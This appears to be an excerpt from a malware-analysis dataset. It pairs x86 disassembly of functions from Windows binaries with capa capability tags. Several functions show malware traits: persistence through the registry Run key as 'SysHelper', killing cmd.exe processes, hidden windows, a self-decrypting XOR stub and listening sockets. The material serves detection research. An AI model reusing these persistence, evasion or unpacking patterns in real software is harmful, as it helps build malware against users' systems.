joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415070
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, dword [0x4c3500]
xor eax, ebp
mov dword [ebp - 4], eax
mov esi, esp
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp esi, esp
call fcn.004487d0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4150c3
xor eax, eax
jmp 0x415150
xor eax, eax
mov word [ebp - 0x1c], ax
xor ecx, ecx
mov dword [ebp - 0x1a], ecx
mov dword [ebp - 0x16], ecx
mov dword [ebp - 0x12], ecx
mov word [ebp - 0xe], cx
mov edx, 2
mov word [ebp - 0x1c], dx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov esi, esp
movzx ecx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
cmp esi, esp
call fcn.004487d0
mov word [ebp - 0x1a], ax
mov esi, esp
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp esi, esp
call fcn.004487d0
cmp eax, 0xffffffff
jne 0x415121
jmp 0x41513b
mov esi, esp
push 3
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp esi, esp
call fcn.004487d0
mov eax, dword [ebp - 8]
jmp 0x415150
mov esi, esp
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
cmp esi, esp
call fcn.004487d0
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x41517c]
call fcn.00448770
pop eax
pop edx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00448800
add esp, 0x20
cmp ebp, esp
call fcn.004487d0
mov esp, ebp
pop ebp
ret

Function at 0x4151a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
lea edi, [ebp - 0x2c]
mov ecx, 0xb
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x4c3500]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x18], ax
xor ecx, ecx
mov dword [ebp - 0x16], ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov word [ebp - 0xa], cx
mov dword [ebp - 0x24], 0x10
push 0
push 0
call fcn.00415070
add esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
ja 0x4151f6
jmp 0x415239
mov esi, esp
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_getsockname]
cmp esi, esp
call fcn.004487d0
cmp eax, 0xffffffff
jne 0x41521a
jmp 0x415239
mov esi, esp
movzx edx, word [ebp - 0x16]
push edx
call dword [sym.imp.WS2_32.dll_ntohs]
cmp esi, esp
call fcn.004487d0
mov ecx, dword [ebp + 8]
mov word [ecx], ax
mov eax, dword [ebp - 0x2c]
jmp 0x41524e
mov esi, esp
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
cmp esi, esp
call fcn.004487d0
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x41527c]
call fcn.00448770
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00448800
add esp, 0x2c
cmp ebp, esp
call fcn.004487d0
mov esp, ebp
pop ebp
ret
Function at 0x415c60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push edi
push ecx
lea edi, [ebp - 0x424]
mov ecx, 0x109
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x4c3500]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
cmp dword [ebp + 0xc], 0x400
jg 0x415ca0
mov dword [ebp - 0x41c], 1
jmp 0x415caa
mov dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0
jne 0x415cc4
push 0
push 0x2c
push 0x4a83cc
call fcn.00409790
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x40c]
push edx
call fcn.00445f20
add esp, 0xc
mov dword [ebp - 0x414], 0
jmp 0x415d05
mov eax, dword [ebp - 0x414]
add eax, 1
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
add edx, 1
mov eax, dword [ebp - 8]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x414]
cmp ecx, dword [ebp + 0xc]
jge 0x415d57
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ecx, dword [edx + 4]
cmp ecx, dword [eax + 0xc]
jne 0x415d28
mov edx, dword [ebp - 8]
mov dword [edx + 4], 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 8]
movsx ecx, byte [eax + ecx]
mov edx, dword [ebp - 0x414]
movsx eax, byte [ebp + edx - 0x40c]
xor eax, ecx
mov ecx, dword [ebp - 0x414]
mov byte [ebp + ecx - 0x40c], al
jmp 0x415ce7
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x40c]
push edx
call fcn.004481a0
add esp, 0x10
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 1
jne 0x415d8d
mov dword [ebp - 0x420], 1
jmp 0x415d97
mov dword [ebp - 0x420], 0
cmp dword [ebp - 0x420], 0
jne 0x415db1
push 0
push 0x37
push 0x4a83f8
call fcn.00409790
add esp, 0xc
cmp dword [ebp - 0x418], 1
jne 0x415dc6
mov dword [ebp - 0x424], 1
jmp 0x415dd0
mov dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
push edx
mov ecx, ebp
push eax
lea edx, [0x415e08]
call fcn.00448770
pop eax
pop edx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00448800
add esp, 0x424
cmp ebp, esp
call fcn.004487d0
mov esp, ebp
pop ebp
ret 8
Function at 0x415e30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 0xcccccccc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004479a0
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
je 0x415e6f
xor eax, eax
jmp 0x415ee0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], 0
jmp 0x415e96
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
add ecx, 1
mov edx, dword [ebp - 4]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
jge 0x415edb
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ecx + 4]
cmp eax, dword [edx + 0xc]
jne 0x415eb6
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
movsx eax, byte [edx + eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
mov byte [eax], dl
jmp 0x415e7e
mov eax, 1
add esp, 0x10
cmp ebp, esp
call fcn.004487d0
mov esp, ebp
pop ebp
ret 8

Function at 0x437480
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov esi, esp
push 0
push str.._Log
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp esi, esp
call fcn.004487d0
mov eax, dword [ebp + 0x10]
push eax
call fcn.00449db0
add esp, 4
mov word [ebp - 4], ax
movzx ecx, word [ebp - 4]
mov esi, esp
push ecx
push str.AgentServer__d
push 0x4dd620
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, esp
call fcn.004487d0
call fcn.00437600
test eax, eax
jne 0x4374f8
xor eax, eax
jmp 0x4375a4
call fcn.00437770
test eax, eax
jne 0x437508
xor eax, eax
jmp 0x4375a4
push 0x50bc
call fcn.00445b90
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x43752b
mov ecx, dword [ebp - 0xc]
call fcn.00437900
mov dword [ebp - 0x18], eax
jmp 0x437532
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov dword [0x4dd674], eax
movzx ecx, word [ebp - 4]
push ecx
mov ecx, dword [0x4dd674]
call fcn.00437d70
mov ecx, dword [0x4dd674]
call fcn.00438ae0
mov edx, dword [0x4dd674]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x43758c
mov esi, esp
push 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x10]
mov eax, dword [edx]
call eax
cmp esi, esp
call fcn.004487d0
mov dword [ebp - 0x1c], eax
jmp 0x437593
mov dword [ebp - 0x1c], 0
mov dword [0x4dd674], 0
call fcn.004375c0
xor eax, eax
pop esi
add esp, 0x1c
cmp ebp, esp
call fcn.004487d0
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40c500
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push eax
push 0
push 0
push 0x1c
push 0
mov ebx, ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x40c52c
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push str.bowsakkdestx.txt
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x104]
push 0x4ffddc
push eax
call fcn.004220b6
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c561
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push 2
push 0
push esi
call fcn.0042387f
push esi
call fcn.00423455
push esi
mov edi, eax
call fcn.00420cf4
add esp, 0x14
test edi, edi
je 0x40c5a5
cmp edi, 0x400
jg 0x40c5a5
push esi
push edi
push 1
push ebx
call fcn.004222f5
push esi
call fcn.00423a38
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call fcn.00423a38
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c6a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40c734
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 4
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 4
push eax
push 0
push str.SysHelper
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40c70c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 4
push 0
push str.SysHelper
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x412360
Capabilities:
Accept command line arguments
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0042f7c0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x412399
xor al, al
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 8], 1
push 0x7fe
push eax
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x80e]
push eax
call fcn.0042b420
add esp, 0xc
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 8]
push eax
push 0
push str.SysHelper
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push dword [eax]
lea eax, [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
ret

Function at 0x412440
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x22c], 0x22c
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4124cc
push esi
lea ebx, [ebx]
lea eax, [ebp - 0x208]
push str.cmd.exe
push eax
call fcn.00420235
add esp, 8
test eax, eax
jne 0x4124b9
push dword [ebp - 0x224]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4124b9
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x412480
pop esi
push edi
call ebx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ba80
Capabilities:
Hide graphical window

Disassembly:
push esi
push 0
push ecx
push 0
push 0
push 0
push SysReAllocString
push 0
push SysReAllocString
push 0xcf0000
push str.LPCWSTRszTitle
push str.LPCWSTRszWindowClass
push 0
mov dword [0x513244], ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x41babb
pop esi
ret
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [0x51323c], esi
mov eax, 1
pop esi
ret

Function at 0x41fa10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push esi
push 0
push dword [ebp + 8]
push 0x41f130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi + 4], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 4

Function at 0x41fdc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0x529230
push 0
push dword [ebp + 8]
push 0x41fd80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [0x529234], eax
test eax, eax
setne cl
mov eax, ecx
pop ebp
ret 4
Function at 0x41dcb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 4], eax
mov word [ebp - 0x210], 0
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.004012f0
add esp, 0xc
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx edx, word [ebp - 0x210]
sub edx, 0x41
mov dword [ebp - 0x218], edx
lea eax, [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x218]
push ecx
call fcn.0041a060
add esp, 8
mov edx, dword [ebp - 0x21c]
push edx
call fcn.0041a180
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x41dd5a
xor eax, eax
jmp 0x41dd6d
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.0041db30
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d2
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x421c20
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b6dd8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x63406c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 8
jb 0x421c59
mov eax, dword [esi]
jmp 0x421c5b
mov eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x421d06
push 2
sub esp, 8
mov ecx, esi
call fcn.00421f80
cmp eax, 0xffffffff
je 0x421cdf
push eax
push 0
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.00421f20
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x421cb5
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.00421c20
test eax, eax
je 0x421cca
cmp dword [esi + 0x14], 8
jb 0x421cbd
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x421cfe
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x421cdf
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00423720
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057277e
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x28]
call fcn.004236e0
mov eax, 1
jmp 0x421ce1
Function at 0x421d10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b6e08
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x63406c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x40], eax
cmp dword [edi + 0x14], 8
jb 0x421d53
mov eax, dword [edi]
jmp 0x421d55
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
je 0x421efb
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421d70
sub ecx, edx
je 0x421efb
push 2
sub esp, 8
mov ecx, edi
call fcn.00421f80
cmp eax, 0xffffffff
je 0x421db8
push eax
push 0
lea eax, [ebp - 0x2c]
mov ecx, edi
push eax
call fcn.00421f20
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
mov ecx, ebx
call fcn.00421c20
lea ecx, [ebp - 0x2c]
call fcn.004236e0
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x30], 0
jb 0x421dc9
mov eax, dword [edi]
jmp 0x421dcb
mov eax, edi
push 0x61b5cc
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0058ed70
add esp, 0xc
cmp dword [ebp - 0x30], 0
je 0x421efb
call fcn.0048a800
mov ebx, eax
test ebx, ebx
je 0x421efb
push esi
push 0x2712
push ebx
call fcn.0048da90
push 0
push 0x40
push ebx
call fcn.0048da90
push 0
push 0x51
push ebx
call fcn.0048da90
push 0
push 0x2a
push ebx
call fcn.0048da90
push 0x421b80
push 0x4e2b
push ebx
call fcn.0048da90
push dword [ebp - 0x30]
push 0x2711
push ebx
call fcn.0048da90
add esp, 0x48
push 1
push 0x29
push ebx
call fcn.0048da90
push 1
push 0x34
push ebx
call fcn.0048da90
push 0
push 0x2b
push ebx
call fcn.0048da90
push 0x421bb0
push 0x4efb
push ebx
call fcn.0048da90
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 0x2749
push ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0x4263a0
call fcn.0048da90
push 1
push 0x2d
push ebx
call fcn.0048da90
add esp, 0x48
push 1
push 0x63
push ebx
call fcn.0048da90
push ebx
call fcn.0048a840
mov esi, eax
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0x200002
push ebx
call fcn.0048a7e0
push ebx
call fcn.0048a7c0
push dword [ebp - 0x30]
call fcn.0058f0d4
add esp, 0x24
test esi, esi
jne 0x421eeb
mov eax, dword [ebp - 0x14]
add eax, 0xffffff38
cmp eax, 0xc7
ja 0x421eeb
mov al, 1
jmp 0x421efd
cmp dword [edi + 0x14], 8
jb 0x421ef3
mov edi, dword [edi]
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call eax
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057277e
mov esp, ebp
pop ebp
ret 0x10
Function at 0x424ec0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b710b
mov eax, dword fs:[0]
push eax
sub esp, 0x25c
mov eax, dword [0x63406c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0xa
xor eax, eax
mov dword [ebp - 0x21c], 7
push 0x61b928
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
call fcn.00423580
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0058b610
mov ecx, dword [esi]
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x250], 0
movups xmmword [ebp - 0x24c], xmm0
mov dword [ebp - 0x234], 0
movq qword [ebp - 0x23c], xmm0
call fcn.0047530c
cmp dword [ebp - 0x21c], 8
mov dword [ebp - 0x250], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x250]
push eax
mov dword [ebp - 0x240], 0x40
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
lea ecx, [ebp - 0x218]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x425031
mov edx, dword [esi]
lea eax, [ebp - 0x218]
lea edi, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x424fd0
sub eax, edi
lea ecx, [edx + 0x474]
sar eax, 1
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0042d3e0
mov ecx, dword [esi]
call fcn.00427d00
lea ecx, [ebp - 0x268]
call fcn.00435fc0
cmp dword [eax + 0x14], 8
jb 0x42500c
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov eax, dword [ebp - 0x254]
cmp eax, 8
jb 0x425031
inc eax
lea ecx, [ebp - 0x268]
push eax
push dword [ebp - 0x268]
call fcn.00423720
mov eax, dword [ebp - 0x21c]
cmp eax, 8
jb 0x42504f
inc eax
lea ecx, [ebp - 0x230]
push eax
push dword [ebp - 0x230]
call fcn.00423720
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057277e
mov esp, ebp
pop ebp
ret